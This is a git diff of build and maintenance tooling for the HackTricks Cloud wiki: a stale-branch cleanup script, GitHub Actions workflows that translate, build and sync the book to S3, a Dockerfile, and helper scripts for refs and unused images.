for branch in $all_branches; do
|
||||
branch=$(echo "$branch" | xargs) # Trim whitespace
|
||||
|
||||
# Skip if empty
|
||||
if [ -z "$branch" ]; then
|
||||
continue
|
||||
fi
|
||||
|
||||
echo "Checking branch: $branch"
|
||||
|
||||
# Check if it's a protected branch
|
||||
is_protected=false
|
||||
for protected in "${protected_branches[@]}"; do
|
||||
if [ "$branch" = "$protected" ]; then
|
||||
echo " ✓ Skipping protected branch: $branch"
|
||||
is_protected=true
|
||||
skipped_count=$((skipped_count + 1))
|
||||
break
|
||||
fi
|
||||
done
|
||||
|
||||
if [ "$is_protected" = true ]; then
|
||||
continue
|
||||
fi
|
||||
|
||||
# Check if it's a translation branch (any 2-letter combination)
|
||||
# Also protect any branch that starts with 2 letters followed by additional content
|
||||
if echo "$branch" | grep -Eq "$translation_pattern" || echo "$branch" | grep -Eq "^[a-zA-Z]{2}[_-]"; then
|
||||
echo " ✓ Skipping translation/language branch: $branch"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
continue
|
||||
fi
|
||||
|
||||
# Check if branch has an open PR
|
||||
if echo "$open_pr_branches" | grep -Fxq "$branch"; then
|
||||
echo " ✓ Skipping branch with open PR: $branch"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
continue
|
||||
fi
|
||||
|
||||
# Check if branch had a PR that was merged or closed
|
||||
echo " → Checking PR history for branch: $branch"
|
||||
|
||||
# Look for PRs from this branch (both merged and closed)
|
||||
pr_info=$(gh pr list --state all --head "$branch" --json number,state,mergedAt --limit 1)
|
||||
|
||||
if [ "$pr_info" != "[]" ]; then
|
||||
pr_state=$(echo "$pr_info" | jq -r '.[0].state')
|
||||
pr_number=$(echo "$pr_info" | jq -r '.[0].number')
|
||||
merged_at=$(echo "$pr_info" | jq -r '.[0].mergedAt')
|
||||
|
||||
if [ "$pr_state" = "MERGED" ] || [ "$pr_state" = "CLOSED" ]; then
|
||||
if [ "$DRY_RUN" = "true" ]; then
|
||||
echo " 🔍 [DRY RUN] Would delete branch: $branch (PR #$pr_number was $pr_state)"
|
||||
deleted_count=$((deleted_count + 1))
|
||||
else
|
||||
echo " ✗ Deleting branch: $branch (PR #$pr_number was $pr_state)"
|
||||
|
||||
# Delete the remote branch
|
||||
if git push origin --delete "$branch" 2>/dev/null; then
|
||||
echo " Successfully deleted remote branch: $branch"
|
||||
deleted_count=$((deleted_count + 1))
|
||||
else
|
||||
echo " Failed to delete remote branch: $branch"
|
||||
fi
|
||||
fi
|
||||
else
|
||||
echo " ✓ Skipping branch with open PR: $branch (PR #$pr_number is $pr_state)"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
fi
|
||||
else
|
||||
# No PR found for this branch - it might be a stale branch
|
||||
# Check if branch is older than 30 days and has no recent activity
|
||||
last_commit_date=$(git log -1 --format="%ct" origin/"$branch" 2>/dev/null || echo "0")
|
||||
|
||||
if [ "$last_commit_date" != "0" ] && [ -n "$last_commit_date" ]; then
|
||||
# Calculate 30 days ago in seconds since epoch
|
||||
thirty_days_ago=$(($(date +%s) - 30 * 24 * 60 * 60))
|
||||
|
||||
if [ "$last_commit_date" -lt "$thirty_days_ago" ]; then
|
||||
if [ "$DRY_RUN" = "true" ]; then
|
||||
echo " 🔍 [DRY RUN] Would delete stale branch (no PR, >30 days old): $branch"
|
||||
deleted_count=$((deleted_count + 1))
|
||||
else
|
||||
echo " ✗ Deleting stale branch (no PR, >30 days old): $branch"
|
||||
|
||||
if git push origin --delete "$branch" 2>/dev/null; then
|
||||
echo " Successfully deleted stale branch: $branch"
|
||||
deleted_count=$((deleted_count + 1))
|
||||
else
|
||||
echo " Failed to delete stale branch: $branch"
|
||||
fi
|
||||
fi
|
||||
else
|
||||
echo " ✓ Skipping recent branch (no PR, <30 days old): $branch"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
fi
|
||||
else
|
||||
echo " ✓ Skipping branch (cannot determine age): $branch"
|
||||
skipped_count=$((skipped_count + 1))
|
||||
fi
|
||||
fi
|
||||
|
||||
echo ""
|
||||
done
|
||||
|
||||
echo "=================================="
|
||||
echo "Branch cleanup completed!"
|
||||
if [ "$DRY_RUN" = "true" ]; then
|
||||
echo "Branches that would be deleted: $deleted_count"
|
||||
else
|
||||
echo "Branches deleted: $deleted_count"
|
||||
fi
|
||||
echo "Branches skipped: $skipped_count"
|
||||
echo "=================================="
|
||||
|
||||
# Clean up local tracking branches (only if not dry run)
|
||||
if [ "$DRY_RUN" != "true" ]; then
|
||||
echo "Cleaning up local tracking branches..."
|
||||
git remote prune origin
|
||||
fi
|
||||
|
||||
echo "Cleanup process finished."
|
||||
195
.github/workflows/translate_all.yml
vendored
Normal file
195
.github/workflows/translate_all.yml
vendored
Normal file
@@ -0,0 +1,195 @@
|
||||
name: Translator All
|
||||
|
||||
on:
|
||||
push:
|
||||
branches:
|
||||
- master
|
||||
paths-ignore:
|
||||
- 'scripts/**'
|
||||
- '.gitignore'
|
||||
- '.github/**'
|
||||
- Dockerfile
|
||||
workflow_dispatch:
|
||||
|
||||
permissions:
|
||||
packages: write
|
||||
id-token: write
|
||||
contents: write
|
||||
|
||||
jobs:
|
||||
translate:
|
||||
name: Translate → ${{ matrix.name }} (${{ matrix.branch }})
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
|
||||
# Run N languages in parallel (tune max-parallel if needed)
|
||||
strategy:
|
||||
fail-fast: false
|
||||
# max-parallel: 3 #Nothing to run all in parallel
|
||||
matrix:
|
||||
include:
|
||||
- { name: "Afrikaans", language: "Afrikaans", branch: "af" }
|
||||
- { name: "German", language: "German", branch: "de" }
|
||||
- { name: "Greek", language: "Greek", branch: "el" }
|
||||
- { name: "Spanish", language: "Spanish", branch: "es" }
|
||||
- { name: "French", language: "French", branch: "fr" }
|
||||
- { name: "Hindi", language: "Hindi", branch: "hi" }
|
||||
- { name: "Italian", language: "Italian", branch: "it" }
|
||||
- { name: "Japanese", language: "Japanese", branch: "ja" }
|
||||
- { name: "Korean", language: "Korean", branch: "ko" }
|
||||
- { name: "Polish", language: "Polish", branch: "pl" }
|
||||
- { name: "Portuguese", language: "Portuguese", branch: "pt" }
|
||||
- { name: "Serbian", language: "Serbian", branch: "sr" }
|
||||
- { name: "Swahili", language: "Swahili", branch: "sw" }
|
||||
- { name: "Turkish", language: "Turkish", branch: "tr" }
|
||||
- { name: "Ukrainian", language: "Ukrainian", branch: "uk" }
|
||||
- { name: "Chinese", language: "Chinese", branch: "zh" }
|
||||
|
||||
# Ensure only one job per branch runs at a time (even across workflow runs)
|
||||
concurrency:
|
||||
group: translate-${{ matrix.branch }}
|
||||
cancel-in-progress: false
|
||||
|
||||
container:
|
||||
image: ghcr.io/hacktricks-wiki/hacktricks-cloud/translator-image:latest
|
||||
|
||||
env:
|
||||
LANGUAGE: ${{ matrix.language }}
|
||||
BRANCH: ${{ matrix.branch }}
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
with:
|
||||
fetch-depth: 0
|
||||
|
||||
- name: Update and download scripts
|
||||
run: |
|
||||
sudo apt-get update
|
||||
# Install GitHub CLI properly
|
||||
curl -fsSL https://cli.github.com/packages/githubcli-archive-keyring.gpg | sudo dd of=/usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& sudo chmod go+r /usr/share/keyrings/githubcli-archive-keyring.gpg \
|
||||
&& echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/githubcli-archive-keyring.gpg] https://cli.github.com/packages stable main" | sudo tee /etc/apt/sources.list.d/github-cli.list > /dev/null \
|
||||
&& sudo apt update \
|
||||
&& sudo apt install gh -y \
|
||||
&& sudo apt-get install -y wget
|
||||
wget -O /tmp/get_and_save_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/get_and_save_refs.py
|
||||
wget -O /tmp/compare_and_fix_refs.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/compare_and_fix_refs.py
|
||||
wget -O /tmp/translator.py https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/master/scripts/translator.py
|
||||
|
||||
- name: Run get_and_save_refs.py
|
||||
run: |
|
||||
python /tmp/get_and_save_refs.py
|
||||
|
||||
- name: Download language branch & update refs
|
||||
run: |
|
||||
pwd
|
||||
ls -la
|
||||
git config --global --add safe.directory "$GITHUB_WORKSPACE"
|
||||
git config --global user.name 'Translator'
|
||||
git config --global user.email 'github-actions@github.com'
|
||||
git config pull.rebase false
|
||||
git checkout $BRANCH
|
||||
git pull
|
||||
python /tmp/compare_and_fix_refs.py --files-unmatched-paths /tmp/file_paths.txt
|
||||
git add .
|
||||
git commit -m "Fix unmatched refs" || echo "No changes to commit"
|
||||
git push || echo "No changes to push"
|
||||
|
||||
- name: Run translation script on changed files
|
||||
run: |
|
||||
git checkout master
|
||||
cp src/SUMMARY.md /tmp/master-summary.md
|
||||
export OPENAI_API_KEY=${{ secrets.OPENAI_API_KEY }}
|
||||
git diff --name-only HEAD~1 | grep -v "SUMMARY.md" | while read -r file; do
|
||||
if echo "$file" | grep -qE '\.md$'; then
|
||||
echo -n ",$file" >> /tmp/file_paths.txt
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Files to translate:"
|
||||
cat /tmp/file_paths.txt
|
||||
echo ""
|
||||
echo ""
|
||||
touch /tmp/file_paths.txt
|
||||
|
||||
if [ -s /tmp/file_paths.txt ]; then
|
||||
python /tmp/translator.py \
|
||||
--language "$LANGUAGE" \
|
||||
--branch "$BRANCH" \
|
||||
--api-key "$OPENAI_API_KEY" \
|
||||
-f "$(cat /tmp/file_paths.txt)" \
|
||||
-t 3
|
||||
else
|
||||
echo "No markdown files changed, skipping translation."
|
||||
fi
|
||||
|
||||
- name: Sync SUMMARY.md from master
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
if [ -f /tmp/master-summary.md ]; then
|
||||
cp /tmp/master-summary.md src/SUMMARY.md
|
||||
git add src/SUMMARY.md
|
||||
git commit -m "Sync SUMMARY.md with master" || echo "SUMMARY already up to date"
|
||||
git push || echo "No SUMMARY updates to push"
|
||||
else
|
||||
echo "master summary not exported; failing"
|
||||
exit 1
|
||||
fi
|
||||
|
||||
- name: Build mdBook
|
||||
run: |
|
||||
git checkout "$BRANCH"
|
||||
git pull
|
||||
MDBOOK_BOOK__LANGUAGE=$BRANCH mdbook build || (echo "Error logs" && cat hacktricks-preprocessor-error.log && echo "" && echo "" && echo "Debug logs" && (cat hacktricks-preprocessor.log | tail -n 20) && exit 1)
|
||||
|
||||
- name: Publish search index release asset
|
||||
shell: bash
|
||||
env:
|
||||
GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }}
|
||||
run: |
|
||||
set -euo pipefail
|
||||
|
||||
ASSET="book/searchindex.js"
|
||||
TAG="searchindex-${BRANCH}"
|
||||
TITLE="Search Index (${BRANCH})"
|
||||
|
||||
if [ ! -f "$ASSET" ]; then
|
||||
echo "Expected $ASSET to exist after build" >&2
|
||||
exit 1
|
||||
fi
|
||||
|
||||
TOKEN="${GITHUB_TOKEN}"
|
||||
if [ -z "$TOKEN" ]; then
|
||||
echo "No token available for GitHub CLI" >&2
|
||||
exit 1
|
||||
fi
|
||||
export GH_TOKEN="$TOKEN"
|
||||
|
||||
# Delete the release if it exists
|
||||
if gh release view "$TAG" --repo "$GITHUB_REPOSITORY" >/dev/null 2>&1; then
|
||||
echo "Release $TAG already exists, deleting it..."
|
||||
gh release delete "$TAG" --yes --repo "$GITHUB_REPOSITORY"
|
||||
fi
|
||||
|
||||
# Create new release
|
||||
gh release create "$TAG" "$ASSET" --title "$TITLE" --notes "Automated search index build for $BRANCH" --repo "$GITHUB_REPOSITORY"
|
||||
|
||||
# Login in AWs
|
||||
- name: Configure AWS credentials using OIDC
|
||||
uses: aws-actions/configure-aws-credentials@v3
|
||||
with:
|
||||
role-to-assume: ${{ secrets.AWS_ROLE_ARN }}
|
||||
aws-region: us-east-1
|
||||
|
||||
# Sync the build to S3
|
||||
- name: Sync to S3
|
||||
run: |
|
||||
echo "Current branch:"
|
||||
git rev-parse --abbrev-ref HEAD
|
||||
echo "Syncing $BRANCH to S3"
|
||||
aws s3 sync ./book s3://hacktricks-cloud/$BRANCH --delete
|
||||
echo "Sync completed"
|
||||
echo "Cat 3 files from the book"
|
||||
find . -type f -name 'index.html' -print | head -n 3 | xargs -r cat
|
||||
23
.github/workflows/upload_ht_to_ai.yml
vendored
Normal file
23
.github/workflows/upload_ht_to_ai.yml
vendored
Normal file
@@ -0,0 +1,23 @@
|
||||
name: Upload HackTricks to HackTricks AI
|
||||
|
||||
on:
|
||||
workflow_dispatch:
|
||||
schedule:
|
||||
- cron: "0 5 1 * *"
|
||||
|
||||
|
||||
jobs:
|
||||
dowload-clean-push:
|
||||
runs-on: ubuntu-latest
|
||||
environment: prod
|
||||
steps:
|
||||
# 1. Download the script
|
||||
- name: Dowload script
|
||||
run: wget "https://raw.githubusercontent.com/HackTricks-wiki/hacktricks-cloud/refs/heads/master/scripts/upload_ht_to_ai.py"
|
||||
|
||||
- name: Install pip dependencies
|
||||
run: python3 -m pip install openai
|
||||
|
||||
# 2. Execute the script
|
||||
- name: Execute script
|
||||
run: export MY_OPENAI_API_KEY=${{ secrets.MY_OPENAI_API_KEY }}; python3 "./upload_ht_to_ai.py"
|
||||
1
.gitignore
vendored
1
.gitignore
vendored
@@ -35,3 +35,4 @@ book
|
||||
book/*
|
||||
hacktricks-preprocessor.log
|
||||
hacktricks-preprocessor-error.log
|
||||
searchindex.js
|
||||
|
||||
31
Dockerfile
Normal file
31
Dockerfile
Normal file
@@ -0,0 +1,31 @@
|
||||
# Use the official Python 3.12 Bullseye image as the base
|
||||
FROM python:3.12-bullseye
|
||||
|
||||
# Install system dependencies
|
||||
RUN apt-get update && apt-get install -y \
|
||||
curl \
|
||||
wget \
|
||||
git \
|
||||
sudo \
|
||||
build-essential \
|
||||
awscli
|
||||
|
||||
# Install Python libraries
|
||||
RUN pip install --upgrade pip && \
|
||||
pip install openai tqdm tiktoken
|
||||
|
||||
# Install Rust & Cargo
|
||||
RUN curl https://sh.rustup.rs -sSf | sh -s -- -y
|
||||
ENV PATH="/root/.cargo/bin:${PATH}"
|
||||
|
||||
# Install mdBook & plugins
|
||||
RUN cargo install mdbook
|
||||
RUN cargo install mdbook-alerts
|
||||
RUN cargo install mdbook-reading-time
|
||||
RUN cargo install mdbook-pagetoc
|
||||
RUN cargo install mdbook-tabs
|
||||
RUN cargo install mdbook-codename
|
||||
|
||||
# Set the working directory
|
||||
WORKDIR /app
|
||||
|
||||
34
README.md
34
README.md
@@ -1,34 +0,0 @@
|
||||
# HackTricks Cloud
|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
|
||||
<figure><img src="images/cloud.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
_Hacktricks logoları ve hareket tasarımı_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)_ tarafından yapılmıştır._
|
||||
|
||||
> [!TIP]
|
||||
> **CTF'lerde**, **gerçek** yaşam **ortamlarında**, **araştırma** yaparak ve **araştırmaları** ve haberleri okuyarak öğrendiğim her **hacking hilesi/teknik/CI/CD & Cloud ile ilgili her şey** için bu sayfaya hoş geldiniz.
|
||||
|
||||
### **Pentesting CI/CD Methodology**
|
||||
|
||||
**HackTricks CI/CD Methodology'de CI/CD faaliyetleri ile ilgili altyapıyı nasıl pentest edeceğinizi bulacaksınız.** Bir **giriş** için aşağıdaki sayfayı okuyun:
|
||||
|
||||
[pentesting-ci-cd-methodology.md](pentesting-ci-cd/pentesting-ci-cd-methodology.md)
|
||||
|
||||
### Pentesting Cloud Methodology
|
||||
|
||||
**HackTricks Cloud Methodology'de bulut ortamlarını nasıl pentest edeceğinizi bulacaksınız.** Bir **giriş** için aşağıdaki sayfayı okuyun:
|
||||
|
||||
[pentesting-cloud-methodology.md](pentesting-cloud/pentesting-cloud-methodology.md)
|
||||
|
||||
### License & Disclaimer
|
||||
|
||||
**Onları kontrol edin:**
|
||||
|
||||
[HackTricks Values & FAQ](https://app.gitbook.com/s/-L_2uGJGU7AVNRcqRvEi/welcome/hacktricks-values-and-faq)
|
||||
|
||||
### Github Stats
|
||||
|
||||

|
||||
|
||||
{{#include ./banners/hacktricks-training.md}}
|
||||
15
book.toml
15
book.toml
@@ -1,6 +1,7 @@
|
||||
[book]
|
||||
authors = ["HackTricks Team"]
|
||||
language = "en"
|
||||
multilingual = false
|
||||
src = "src"
|
||||
title = "HackTricks Cloud"
|
||||
|
||||
@@ -8,17 +9,26 @@ title = "HackTricks Cloud"
|
||||
create-missing = false
|
||||
extra-watch-dirs = ["translations"]
|
||||
|
||||
[preprocessor.alerts]
|
||||
after = ["links"]
|
||||
|
||||
[preprocessor.reading-time]
|
||||
|
||||
[preprocessor.pagetoc]
|
||||
|
||||
[preprocessor.tabs]
|
||||
|
||||
[preprocessor.codename]
|
||||
|
||||
[preprocessor.hacktricks]
|
||||
command = "python3 ./hacktricks-preprocessor.py"
|
||||
env = "prod"
|
||||
|
||||
[output.html]
|
||||
additional-css = ["theme/tabs.css", "theme/pagetoc.css"]
|
||||
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]
|
||||
additional-js = [
|
||||
"theme/tabs.js",
|
||||
"theme/pagetoc.js",
|
||||
"theme/tabs.js",
|
||||
"theme/ht_searcher.js",
|
||||
"theme/sponsor.js",
|
||||
"theme/ai.js"
|
||||
@@ -26,7 +36,6 @@ additional-js = [
|
||||
no-section-label = true
|
||||
preferred-dark-theme = "hacktricks-dark"
|
||||
default-theme = "hacktricks-light"
|
||||
hash-files = false
|
||||
|
||||
[output.html.fold]
|
||||
enable = true # whether or not to enable section folding
|
||||
|
||||
@@ -53,17 +53,11 @@ def ref(matchobj):
|
||||
if href.endswith("/"):
|
||||
href = href+"README.md" # Fix if ref points to a folder
|
||||
if "#" in href:
|
||||
result = findtitle(href.split("#")[0], book, "source_path")
|
||||
if result is None or result[0] is None:
|
||||
raise Exception(f"Chapter not found")
|
||||
chapter, _path = result
|
||||
chapter, _path = findtitle(href.split("#")[0], book, "source_path")
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
else:
|
||||
result = findtitle(href, book, "source_path")
|
||||
if result is None or result[0] is None:
|
||||
raise Exception(f"Chapter not found")
|
||||
chapter, _path = result
|
||||
chapter, _path = findtitle(href, book, "source_path")
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
title = chapter['name']
|
||||
except Exception as e:
|
||||
@@ -71,17 +65,11 @@ def ref(matchobj):
|
||||
dir = path.dirname(current_chapter['source_path'])
|
||||
logger.debug(f'Error getting chapter title: {href} trying with relative path {path.normpath(path.join(dir,href))}')
|
||||
if "#" in href:
|
||||
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
if result is None or result[0] is None:
|
||||
raise Exception(f"Chapter not found")
|
||||
chapter, _path = result
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
title = " ".join(href.split("#")[1].split("-")).title()
|
||||
logger.debug(f'Ref has # using title: {title}')
|
||||
else:
|
||||
result = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
if result is None or result[0] is None:
|
||||
raise Exception(f"Chapter not found")
|
||||
chapter, _path = result
|
||||
chapter, _path = findtitle(path.normpath(path.join(dir,href.split('#')[0])), book, "source_path")
|
||||
title = chapter["name"]
|
||||
logger.debug(f'Recursive title search result: {chapter["name"]}')
|
||||
except Exception as e:
|
||||
@@ -159,14 +147,8 @@ if __name__ == '__main__':
|
||||
context, book = json.load(sys.stdin)
|
||||
|
||||
logger.debug(f"Context: {context}")
|
||||
logger.debug(f"Book keys: {book.keys()}")
|
||||
|
||||
# Handle both old (sections) and new (items) mdbook API
|
||||
book_items = book.get('sections') or book.get('items', [])
|
||||
|
||||
for chapter in iterate_chapters(book_items):
|
||||
if chapter is None:
|
||||
continue
|
||||
for chapter in iterate_chapters(book['sections']):
|
||||
logger.debug(f"Chapter: {chapter['path']}")
|
||||
current_chapter = chapter
|
||||
# regex = r'{{[\s]*#ref[\s]*}}(?:\n)?([^\\\n]*)(?:\n)?{{[\s]*#endref[\s]*}}'
|
||||
|
||||
88
scripts/clean_unused_images.sh
Normal file
88
scripts/clean_unused_images.sh
Normal file
@@ -0,0 +1,88 @@
|
||||
#!/bin/bash
|
||||
|
||||
# Define the image folder and the root of your project
|
||||
IMAGE_FOLDER="./src/images"
|
||||
PROJECT_ROOT="."
|
||||
|
||||
# Move to the project root
|
||||
cd "$PROJECT_ROOT" || exit
|
||||
|
||||
# Loop through each image file in the folder
|
||||
find "$IMAGE_FOLDER" -type f | while IFS= read -r image; do
|
||||
# Extract the filename without the path
|
||||
image_name=$(basename "$image")
|
||||
|
||||
# If image file name contains "sponsor", skip it
|
||||
if [[ "$image_name" == *"sponsor"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"arte"* ]]; then
|
||||
echo "Skipping arte image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"grte"* ]]; then
|
||||
echo "Skipping grte image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"azrte"* ]]; then
|
||||
echo "Skipping azrte image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"websec"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"venacus"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"CLOUD"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"cloud.gif"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"CH_logo"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
if [[ "$image_name" == *"lasttower"* ]]; then
|
||||
echo "Skipping sponsor image: $image_name"
|
||||
continue
|
||||
fi
|
||||
|
||||
|
||||
|
||||
echo "Checking image: $image_name"
|
||||
|
||||
# Search for the image name using rg and capture the result
|
||||
search_result=$(rg -F --files-with-matches "$image_name" \
|
||||
--no-ignore --hidden \
|
||||
--glob '!.git/*' \
|
||||
--glob '!$IMAGE_FOLDER/*' < /dev/null)
|
||||
|
||||
echo "Search result: $search_result"
|
||||
|
||||
# If rg doesn't find any matches, delete the image
|
||||
if [ -z "$search_result" ]; then
|
||||
echo "Deleting unused image: $image"
|
||||
rm "$image"
|
||||
else
|
||||
echo "Image used: $image_name"
|
||||
echo "$search_result"
|
||||
fi
|
||||
done
|
||||
|
||||
echo "Cleanup completed!"
|
||||
165
scripts/compare_and_fix_refs.py
Normal file
165
scripts/compare_and_fix_refs.py
Normal file
@@ -0,0 +1,165 @@
|
||||
#!/usr/bin/env python3
|
||||
import argparse
|
||||
import json
|
||||
import re
|
||||
from pathlib import Path
|
||||
|
||||
SRC_DIR = Path("./src")
|
||||
REFS_JSON = Path("/tmp/refs.json")
|
||||
|
||||
# Matches content between {{#ref}} and {{#endref}}, including newlines, lazily
|
||||
REF_RE = re.compile(r"{{#ref}}\s*([\s\S]*?)\s*{{#endref}}", re.MULTILINE)
|
||||
|
||||
def extract_refs(text: str):
|
||||
"""Return a list of refs (trimmed) in appearance order."""
|
||||
return [m.strip() for m in REF_RE.findall(text)]
|
||||
|
||||
def replace_refs_in_text(text: str, new_refs: list):
|
||||
"""Replace all refs in text with new_refs, maintaining order."""
|
||||
matches = list(REF_RE.finditer(text))
|
||||
if len(matches) != len(new_refs):
|
||||
return text # Can't replace if counts don't match
|
||||
|
||||
# Replace from end to beginning to avoid offset issues
|
||||
result = text
|
||||
for match, new_ref in zip(reversed(matches), reversed(new_refs)):
|
||||
# Get the full match span to replace the entire {{#ref}}...{{#endref}} block
|
||||
start, end = match.span()
|
||||
# Format the replacement with proper newlines
|
||||
formatted_replacement = f"{{{{#ref}}}}\n{new_ref}\n{{{{#endref}}}}"
|
||||
result = result[:start] + formatted_replacement + result[end:]
|
||||
|
||||
return result
|
||||
|
||||
def main():
|
||||
parser = argparse.ArgumentParser(description="Compare and fix refs between current branch and master branch")
|
||||
parser.add_argument("--files-unmatched-paths", type=str,
|
||||
help="Path to file where unmatched file paths will be saved (comma-separated on first line)")
|
||||
args = parser.parse_args()
|
||||
|
||||
if not SRC_DIR.is_dir():
|
||||
raise SystemExit(f"Not a directory: {SRC_DIR}")
|
||||
|
||||
if not REFS_JSON.exists():
|
||||
raise SystemExit(f"Reference file not found: {REFS_JSON}")
|
||||
|
||||
# Load the reference refs from master branch
|
||||
try:
|
||||
with open(REFS_JSON, 'r', encoding='utf-8') as f:
|
||||
master_refs = json.load(f)
|
||||
except (json.JSONDecodeError, UnicodeDecodeError) as e:
|
||||
raise SystemExit(f"Error reading {REFS_JSON}: {e}")
|
||||
|
||||
print(f"Loaded reference data for {len(master_refs)} files from {REFS_JSON}")
|
||||
|
||||
files_processed = 0
|
||||
files_modified = 0
|
||||
files_with_differences = 0
|
||||
unmatched_files = [] # Track files with unmatched refs
|
||||
|
||||
# Track which files exist in current branch
|
||||
current_files = set()
|
||||
|
||||
for md_path in sorted(SRC_DIR.rglob("*.md")):
|
||||
rel = md_path.relative_to(SRC_DIR).as_posix()
|
||||
rel_with_src = f"{SRC_DIR.name}/{rel}" # Include src/ prefix for output
|
||||
files_processed += 1
|
||||
|
||||
# Track this file as existing in current branch
|
||||
current_files.add(rel)
|
||||
|
||||
try:
|
||||
content = md_path.read_text(encoding="utf-8")
|
||||
except UnicodeDecodeError:
|
||||
# Fallback if encoding is odd
|
||||
content = md_path.read_text(errors="replace")
|
||||
|
||||
current_refs = extract_refs(content)
|
||||
|
||||
# Check if file exists in master refs
|
||||
if rel not in master_refs:
|
||||
if current_refs:
|
||||
print(f"⚠️ NEW FILE with refs: {rel_with_src} (has {len(current_refs)} refs)")
|
||||
files_with_differences += 1
|
||||
unmatched_files.append(rel_with_src)
|
||||
continue
|
||||
|
||||
master_file_refs = master_refs[rel]
|
||||
|
||||
# Compare ref counts
|
||||
if len(current_refs) != len(master_file_refs):
|
||||
print(f"📊 REF COUNT MISMATCH: {rel_with_src} -- Master: {len(master_file_refs)} refs, Current: {len(current_refs)} refs")
|
||||
files_with_differences += 1
|
||||
unmatched_files.append(rel_with_src)
|
||||
continue
|
||||
|
||||
# If no refs in either, skip
|
||||
if not current_refs and not master_file_refs:
|
||||
continue
|
||||
|
||||
# Compare individual refs
|
||||
differences_found = False
|
||||
for i, (current_ref, master_ref) in enumerate(zip(current_refs, master_file_refs)):
|
||||
if current_ref != master_ref:
|
||||
if not differences_found:
|
||||
print(f"🔍 REF DIFFERENCES in {rel_with_src}:")
|
||||
differences_found = True
|
||||
print(f" Ref {i+1}:")
|
||||
print(f" Master: {repr(master_ref)}")
|
||||
print(f" Current: {repr(current_ref)}")
|
||||
|
||||
if differences_found:
|
||||
files_with_differences += 1
|
||||
unmatched_files.append(rel_with_src)
|
||||
|
||||
# Replace current refs with master refs
|
||||
try:
|
||||
new_content = replace_refs_in_text(content, master_file_refs)
|
||||
if new_content != content:
|
||||
md_path.write_text(new_content, encoding="utf-8")
|
||||
files_modified += 1
|
||||
print(f" ✅ Fixed refs in {rel_with_src}")
|
||||
else:
|
||||
print(f" ❌ Failed to replace refs in {rel_with_src}")
|
||||
except Exception as e:
|
||||
print(f" ❌ Error fixing refs in {rel_with_src}: {e}")
|
||||
|
||||
# Check for files that exist in master refs but not in current branch
|
||||
unexisted_files = 0
|
||||
for master_file_rel in master_refs.keys():
|
||||
if master_file_rel not in current_files:
|
||||
rel_with_src = f"{SRC_DIR.name}/{master_file_rel}"
|
||||
print(f"🗑️ {rel_with_src} (existed in master but not in current one)")
|
||||
unexisted_files += 1
|
||||
unmatched_files.append(rel_with_src)
|
||||
|
||||
# Save unmatched files to specified path if requested
|
||||
if args.files_unmatched_paths and unmatched_files:
|
||||
try:
|
||||
unmatched_paths_file = Path(args.files_unmatched_paths)
|
||||
unmatched_paths_file.parent.mkdir(parents=True, exist_ok=True)
|
||||
with open(unmatched_paths_file, 'w', encoding='utf-8') as f:
|
||||
f.write(','.join(list(set(unmatched_files))))
|
||||
print(f"📝 Saved {len(unmatched_files)} unmatched file paths to: {unmatched_paths_file}")
|
||||
except Exception as e:
|
||||
print(f"❌ Error saving unmatched paths to {args.files_unmatched_paths}: {e}")
|
||||
elif args.files_unmatched_paths and not unmatched_files:
|
||||
# Create empty file if no unmatched files found
|
||||
try:
|
||||
unmatched_paths_file = Path(args.files_unmatched_paths)
|
||||
unmatched_paths_file.parent.mkdir(parents=True, exist_ok=True)
|
||||
unmatched_paths_file.write_text('\n', encoding='utf-8')
|
||||
print(f"<EFBFBD> No unmatched files found. Created empty file: {unmatched_paths_file}")
|
||||
except Exception as e:
|
||||
print(f"❌ Error creating empty unmatched paths file {args.files_unmatched_paths}: {e}")
|
||||
|
||||
print(f"\n SUMMARY:")
|
||||
print(f" Files processed: {files_processed}")
|
||||
print(f" Files with different refs: {files_with_differences}")
|
||||
print(f" Files modified: {files_modified}")
|
||||
print(f" Non existing files: {unexisted_files}")
|
||||
if unmatched_files:
|
||||
print(f" Unmatched files: {len(unmatched_files)}")
|
||||
|
||||
